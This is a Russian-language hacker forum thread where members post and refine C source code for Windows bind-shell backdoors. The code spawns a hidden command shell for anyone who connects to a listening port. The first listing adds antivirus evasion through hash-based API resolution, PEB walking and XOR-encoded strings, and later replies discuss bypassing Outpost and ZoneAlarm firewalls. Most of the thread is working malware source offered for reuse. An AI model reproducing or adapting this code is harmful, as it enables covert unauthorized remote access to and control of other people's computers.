Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе замечания и предложения сыпем сюда) // // Advanced build config // #pragma comment(linker,"/MERGE:.rdata=.text") #pragma comment(linker,"/SECTION:.text,EWRX") #pragma comment(linker, "/NODEFAULTLIB") #pragma comment(linker, "/ENTRY:startcode") // // Includes // #include <winsock2.h> // // Definitions // #ifdef FD_ISSET #undef FD_ISSET #define FD_ISSET(fd, set) pTable->api.WsWSAFDIsSet((SOCKET)(fd), (fd_set FAR *)(set)) #endif #define MAX_MODULENAME_SIZE 128 #define MAX_FUNCNAME_SIZE 128 #define MAX_STRING_SIZE 256 #define MAX_CONNECTIONS 255 #define RVATOVA(base,offset) ((LPVOID)((DWORD)(base)+(DWORD)(offset))) // // Structures // #pragma pack (1) typedef struct _APITABLE { struct _API{ // address table for various api functions // // kernel32 imports... // BOOL (__stdcall* KeCloseHandle)(HANDLE); BOOL (__stdcall* KeCreatePipe)(PHANDLE,PHANDLE,LPSECURITY_ATTRIBUTES,DWORD); BOOL (__stdcall* KeCreateProcess)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTSTR,LPSTARTUPINFO,LPPROCESS_INFORMATION); HANDLE (__stdcall* KeCreateThread)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD); HMODULE (__stdcall* KeLoadLibrary)(LPCTSTR); BOOL (__stdcall* KePeekNamedPipe)(HANDLE,LPVOID,DWORD,LPDWORD,LPDWORD,LPDWORD); BOOL (__stdcall* KeReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPPED); VOID (__stdcall* KeSleep)(DWORD); BOOL (__stdcall* KeTerminateProcess)(HANDLE,DWORD); DWORD (__stdcall* KeWaitForSingleObject)(HANDLE,DWORD); BOOL (__stdcall* KeWriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED); HGLOBAL (__stdcall* KeGlobalAlloc)(UINT,SIZE_T); HGLOBAL (__stdcall* KeGlobalFree)(HGLOBAL); // // ws2_32 imports... // int (__stdcall* WsWSAStartup)(WORD,LPWSADATA); SOCKET (__stdcall* Wssocket)(int,int,int); int (__stdcall* Wsbind)(SOCKET,struct SOCK_ADDR*,int); int (__stdcall* Wslisten)(SOCKET,int); SOCKET (__stdcall* Wsaccept)(SOCKET,struct SOCK_ADDR*,int FAR*); u_short (__stdcall* Wshtons)(u_short); int (__stdcall* Wsselect)(int,fd_set*,fd_set*,fd_set*,const struct timeval*); int (__stdcall* Wsioctlsocket)(SOCKET,long,u_long*); int (__stdcall* Wssend)(SOCKET,const char FAR*,int,int); int (__stdcall* Wsrecv)(SOCKET,char FAR*,int,int); int (__stdcall* Wsclosesocket)(SOCKET); int (__stdcall* WsWSAFDIsSet)(SOCKET, fd_set FAR *); }api; struct _HMODS{ HMODULE hKernel32; HMODULE hWs2_32; }hmods; SOCKET g_server; SOCKET client; }APITABLE; #pragma pack () // // System routines // // (dont touch a stack) DWORD __fastcall CalcHash(char *str) { DWORD hash = 0; char* copystr = str; while(*copystr) { hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7)); hash = hash ^ (*copystr); copystr++; } return hash; } // (dont touch a stack) LPVOID __fastcall NameHashLoad(HMODULE hModule, DWORD lpProcNameHash) { PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER) ((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)); PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); int nOrdinal; if (HIWORD((DWORD)lpProcNameHash) == 0) nOrdinal = (LOWORD((DWORD)lpProcNameHash)) - ped->Base; else { DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames); WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals); for (DWORD i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++){ if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == lpProcNameHash){ nOrdinal = *pwOrdinalPtr; break; } } if (i == ped->NumberOfNames) return 0; } DWORD *pAddrTable = (DWORD*)RVATOVA(hModule, ped->AddressOfFunctions); DWORD dwRVA = pAddrTable[nOrdinal]; DWORD ret = (DWORD)RVATOVA(hModule, dwRVA); return (LPVOID)ret; } // (dont touch a stack) void __fastcall fxmemset(void* dst, char with, unsigned int len) { for(unsigned int i=0; i<len;i++) *((char*)dst+i)=with; } // // interaction thread for each established connection // DWORD __stdcall WorkerThread(LPVOID lpParam) { APITABLE *pTable = (APITABLE*)lpParam; SOCKET sock = pTable->client; char s_proc[] = "\x46\x48\x41\x00"; // decode string: for(int a=0; a<3; a++) s_proc[a] ^= 0x25; SECURITY_ATTRIBUTES sa; sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); // Create Pipe for server input <- network recv HANDLE hServerInputPipe, hNetworkRecvPipe; if(pTable->api.KeCreatePipe(&hServerInputPipe, &hNetworkRecvPipe, &sa, 0)==0) { pTable->api.Wsclosesocket(sock); return 0; } // Create Pipe for server output -> network send HANDLE hServerOutputPipe, hNetworkSendPipe; if(pTable->api.KeCreatePipe(&hNetworkSendPipe, &hServerOutputPipe, &sa, 0)==0) { pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.Wsclosesocket(sock); return 0; } // Start Application PROCESS_INFORMATION pi; STARTUPINFO si; fxmemset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK; si.wShowWindow = SW_HIDE; si.hStdError = hServerOutputPipe; si.hStdInput = hServerInputPipe; si.hStdOutput = hServerOutputPipe; if(pTable->api.KeCreateProcess(NULL, s_proc, NULL, NULL, TRUE, CREATE_SEPARATE_WOW_VDM, NULL, NULL, &si, &pi)==0) { pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.KeCloseHandle(hServerOutputPipe); pTable->api.KeCloseHandle(hNetworkSendPipe); pTable->api.Wsclosesocket(sock); return 0; } DWORD dwBytes; int nLen; fd_set rfds; while(TRUE) { // Check network socket pTable->api.KeSleep(20); FD_ZERO(&rfds); FD_SET(sock, &rfds); TIMEVAL tm; tm.tv_sec=0; tm.tv_usec=0; if(pTable->api.Wsselect(0, &rfds, NULL, NULL, &tm) > 0) { if(FD_ISSET(sock, &rfds)) { pTable->api.Wsioctlsocket(sock, FIONREAD, (u_long*)&nLen); if(nLen <= 0) { pTable->api.KeCloseHandle(hNetworkSendPipe); pTable->api.KeCloseHandle(hServerOutputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.Wsclosesocket(sock); return 0; } char *buffer = (char *)pTable->api.KeGlobalAlloc(GPTR, nLen); if(buffer != NULL) { nLen = pTable->api.Wsrecv(sock, buffer, nLen, 0); if(nLen > 0 && nLen < WSABASEERR){ pTable->api.KeWriteFile(hNetworkRecvPipe, buffer, nLen, &dwBytes, NULL); }else{ pTable->api.KeGlobalFree(buffer); break; } pTable->api.KeGlobalFree(buffer); } } } // Check handle pTable->api.KePeekNamedPipe(hNetworkSendPipe, NULL, 0, NULL, (LPDWORD)&nLen, NULL); if(nLen > 0) { char *buffer =(char *)pTable->api.KeGlobalAlloc(GPTR, nLen); if(buffer!=NULL) { pTable->api.KeReadFile(hNetworkSendPipe, buffer, nLen, &dwBytes, NULL); pTable->api.Wssend(sock, buffer, dwBytes, 0); pTable->api.KeGlobalFree(buffer); } } // Check for death if(pTable->api.KeWaitForSingleObject(pi.hProcess, 0) != WAIT_TIMEOUT) break; } pTable->api.KeCloseHandle(hNetworkSendPipe); pTable->api.KeCloseHandle(hServerOutputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.Wsclosesocket(sock); pTable->api.KeTerminateProcess(pi.hProcess, 0); return 0; } DWORD __stdcall ServerThread(LPVOID lpParam) { SOCKET s; APITABLE *pTable = (APITABLE*)lpParam; while(TRUE) { // its in ma style ) pTable->api.KeSleep(20); s = pTable->api.Wsaccept(pTable->g_server, NULL, NULL); if(s != INVALID_SOCKET) { DWORD tid; HANDLE hThread; // spawn worker thread and wait until it ends pTable->client = s; hThread = pTable->api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkerThread, pTable, 0, &tid); pTable->api.KeWaitForSingleObject(hThread, INFINITE); } } return 0; } // // ENTRY POINT // int __stdcall startcode() { APITABLE atMain; WSADATA wsd; char ws_name[] = "\x32\x36\x77\x1a\x76\x77\x6b\x21\x29\x29"; // // init the api table // // 1) init kernel32's stuff... __asm { mov eax, dword ptr fs:[30h] mov eax, dword ptr [eax+0ch] mov esi, dword ptr [eax+1ch] lodsd mov eax, dword ptr [eax+08h] mov atMain.hmods.hKernel32, eax } atMain.api.KeCloseHandle = (BOOL(__stdcall*)(HANDLE))NameHashLoad(atMain.hmods.hKernel32, 0x723EB0D5); atMain.api.KeCreatePipe = (BOOL(__stdcall*)(PHANDLE,PHANDLE,LPSECURITY_ATTRIBUTES,DWORD))NameHashLoad(atMain.hmods.hKernel32, 0xA8D1FFE2); atMain.api.KeCreateProcess = (BOOL(__stdcall*)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTSTR,LPSTARTUPINFO,LPPROCESS_INFORMATION))NameHashLoad(atMain.hmods.hKernel32, 0x46318AC7); atMain.api.KeCreateThread = (HANDLE(__stdcall*)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD))NameHashLoad(atMain.hmods.hKernel32, 0x6FB89AF0); atMain.api.KeLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))NameHashLoad(atMain.hmods.hKernel32, 0xC8AC8026); atMain.api.KePeekNamedPipe = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPDWORD,LPDWORD))NameHashLoad(atMain.hmods.hKernel32, 0x81D5763E); atMain.api.KeReadFile = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x487FE16B); atMain.api.KeSleep = (void(__stdcall*)(DWORD))NameHashLoad(atMain.hmods.hKernel32, 0x3D9972F5); atMain.api.KeTerminateProcess = (BOOL(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMain.hmods.hKernel32, 0x9E6FA842); atMain.api.KeWaitForSingleObject = (DWORD(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMain.hmods.hKernel32, 0xC54374F3); atMain.api.KeWriteFile = (BOOL(__stdcall*)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x0F3FD1C3); atMain.api.KeGlobalAlloc = (HGLOBAL(__stdcall*)(UINT,SIZE_T))NameHashLoad(atMain.hmods.hKernel32, 0x725EA171); atMain.api.KeGlobalFree = (HGLOBAL(__stdcall*)(HGLOBAL))NameHashLoad(atMain.hmods.hKernel32, 0x240339C8); // 2) init ws2_32's stuff... for(int i=0; i<10; i++) ws_name^=0x45; atMain.hmods.hWs2_32 = atMain.api.KeLoadLibrary(ws_name); atMain.api.WsWSAStartup = (int(__stdcall*)(WORD,LPWSADATA))NameHashLoad(atMain.hmods.hWs2_32, 0xCDDE757D); atMain.api.Wssocket = (SOCKET(__stdcall*)(int,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0xFC7AF16A); atMain.api.Wsbind = (int(__stdcall*)(SOCKET,struct SOCK_ADDR*,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0C5A7764); atMain.api.Wslisten = (int(__stdcall*)(SOCKET,int))NameHashLoad(atMain.hmods.hWs2_32, 0x9E7D3188); atMain.api.Wsaccept = (SOCKET(__stdcall*)(SOCKET,struct SOCK_ADDR*,int FAR*))NameHashLoad(atMain.hmods.hWs2_32, 0x3C797B7A); atMain.api.Wshtons = (u_short(__stdcall*)(u_short))NameHashLoad(atMain.hmods.hWs2_32, 0x8E9BF775); atMain.api.Wsselect = (int(__stdcall*)(int,fd_set*,fd_set*,fd_set*,const struct timeval*))NameHashLoad(atMain.hmods.hWs2_32,0x5D99726A); atMain.api.Wsioctlsocket = (int(__stdcall*)(SOCKET,long,u_long*))NameHashLoad(atMain.hmods.hWs2_32, 0x1F935B1D); atMain.api.Wssend = (int(__stdcall*)(SOCKET,const char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E797764); atMain.api.Wsrecv = (int(__stdcall*)(SOCKET,char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E5971F6); atMain.api.Wsclosesocket = (int(__stdcall*)(SOCKET))NameHashLoad(atMain.hmods.hWs2_32, 0x939D7D9C); atMain.api.WsWSAFDIsSet = (int(__stdcall*)(SOCKET, fd_set FAR *))NameHashLoad(atMain.hmods.hWs2_32, 0x4DFC1F3B); // // letz run it... // if(atMain.api.WsWSAStartup(0x202, &wsd)!=0) return 0; SOCKADDR_IN saddr; fxmemset(&saddr, 0, sizeof(SOCKADDR_IN)); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = 0; saddr.sin_port = atMain.api.Wshtons(16384); atMain.g_server = atMain.api.Wssocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(atMain.g_server == INVALID_SOCKET) return 0; if(atMain.api.Wsbind(atMain.g_server, (SOCK_ADDR *)&saddr, sizeof(SOCKADDR_IN))==SOCKET_ERROR) { atMain.api.Wsclosesocket(atMain.g_server); return 0; } if(atMain.api.Wslisten(atMain.g_server, MAX_CONNECTIONS)!=0){ atMain.api.Wsclosesocket(atMain.g_server); return 0; } // // run server thread // DWORD dwid; HANDLE hSvrThread; hSvrThread = atMain.api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServerThread, &atMain, 0, &dwid); // // enter the idle loop // atMain.api.KeWaitForSingleObject(hSvrThread, INFINITE); return 0; } [/CODE]
А что-то вроде "...Zone Alarm Antifirewall" или "...Outpost Antifirewall" не намечается? На этой недели я попробую поработать над кодом отруба этих файров, может чтонибудь получится ...
в этой версии антифайр вырезан тк хотел добиться стабильности кода без имортов и возможной его оптимизации. как говорится, одна голова хорошо, а две - еще лучше. будем думать)
Я честно пытался понять, в чем фишка, но не осилил ))) На мой взгляд - слишком сложно для такого бекдура.
я тоже самое сказал бы про шелл на пхп ) просто без комментов... а так вообще для того чтобы поняли все, напишу как чего почему)
Мини бинд Code: #include <winsock2.h> int main(int argc, char* argv[]){ STARTUPINFO si; struct sockaddr_in sa; PROCESS_INFORMATION pi; int s; WSADATA HWSAdata; WSAStartup(0x101,&HWSAdata); s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0); sa.sin_family=AF_INET; sa.sin_port=htons((unsigned short)atoi(argv[1])); sa.sin_addr.s_addr=0x00; bind(s,(struct sockaddr *)&sa, 16); listen(s,1); s= accept(s,(struct sockaddr *)&sa,NULL); si.cb=sizeof(si); si.wShowWindow=SW_HIDE; si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; si.hStdInput=si.hStdOutput = si.hStdError = (void *) s; si.lpDesktop=si.lpTitle=(char *) 0x0000; si.lpReserved2=NULL; CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi); } Этот думаю по практичнее и по меньше запуск идет так bind.exe port пример: bind.exe 4567
ай молодец, чет я туплю последнее время)) кстати можно импорты снести - ща замучу) да и один минус - реконнекта уже не будет(
Какой еще нафиг обом ..все компилиться и без нее.. lcc-win32 попробуй..весит херню.. Да и тем более если сильно надо могу бинарник выложить..
Наверно не подключил lib(а) файл. Скомпилированный модно найти по имени netcat.exe больше возножностей меньше глюков
имхо, поиск api-фций по хэшу не очень целесообразная байда для такой мелочи... это мой: Code: SOCKET s; int port = 31337; DWORD WINAPI ToClient(LPVOID client_socket) { char buf[1024]; DWORD fexit; char s_str[255]; s =((SOCKET *) client_socket)[0]; //а здесь будет создаватся пайп, запускатся консоль, итд... STARTUPINFO si; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES sa; DWORD N, total; HANDLE cstdin, wstdin, rstdout, cstdout; sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; GetStartupInfoA(&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = FALSE; si.hStdOutput = cstdout; si.hStdError = cstdout; si.hStdInput = cstdin; getstr(s_str, 63); if (!CreateProcessA(0, s_str, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1; while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE)) { GSleep(1); if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) { for (int i = 0; i < (int)total; i += 1) { ReadFile(rstdout, buf, 1, &N, 0); send(s, buf, N, 0); } } if (!ioctlsocket(s, FIONREAD , &N) && N) { recv(s, buf, 1, 0); WriteFile(wstdin, buf, 1, &N, 0); } } TerminateProcess(pi.hProcess, 0); TerminateThread(pi.hThread, 0); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); DbgMsg(__FILE__, __LINE__, "SHELL: client disconnected\n"); closesocket(s); return 0; } DWORD WINAPI bindshell_main(LPVOID param) { struct sockaddr_in local; SOCKET s; local.sin_family = AF_INET; local.sin_port = htons(shell_port); local.sin_addr.s_addr = 0; s = socket(AF_INET, SOCK_STREAM,0); if (s == INVALID_SOCKET) return -1; if (bind(s, (struct sockaddr*)&local, sizeof(local)) == SOCKET_ERROR) return -1; DbgMsg(__FILE__, __LINE__, "SHELL: binded at %d port\n", shell_port); if (Glisten(s, 0x100)) { closesocket(s); return -1; } DbgMsg(__FILE__, __LINE__, "SHELL: waiting for connections...\n"); SOCKET client_socket; sockaddr_in client_addr; int client_addr_size=sizeof(client_addr); while((client_socket = (SOCKET)accept(s, (sockaddr *)&client_addr, &client_addr_size))) { DWORD thID; DbgMsg(__FILE__, __LINE__, "SHELL: client connected, remote addr %s\n", inet_ntoa(client_addr.sin_addr)); CreateThread(NULL, NULL, ToClient, &client_socket, NULL, &thID); } closesocket(s); return 0; }
ясен пень. просто для того чтбы снести импорты. . сканеры вроде avz любят делать предположения относительно вероятного использования программы на основе того что она импортирует из api
grinay, сначит сделали асепт и закрылись нафиг сразу же=) 0x0000 - прикольно =) sn0w ниасилил) Cr4sh if (s == INVALID_SOCKET) - это все гон, моно так: if (s == -1) (if (s<0) не потянет посоку унсигнед) а лучше воще без этого обойтись. я никада не проверяю носок после s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP). в системе носков дофига, ограничение на к-во одновременно открытых да и то на уровне ядра, приложение может держать открытыми сколько захочет. потом перед биндом надобы выдать setsockopt с SO_REUSEADDR для профилактики. ну вощем это так вкратце, особо я не углублялся. чо хотел еще сказать - парадокс: для того чтобы запустить ваши шелы на тачке нуна выдать команду на запуск, а если это моно сделать то нафига тода шелл (темболее в виде самостоятельного приложение, которое видно (прогу видно а потоки почемуто прячем?)? для удобства шоли? прекращайте лучше крючкотворством заниматься, пишите реальные вещи для реальных задач.
Эх.. Какже легко обходить этот аутпост через поставные проги.. просто жуть. Кому интерестно, тому могу кинуть кусок кода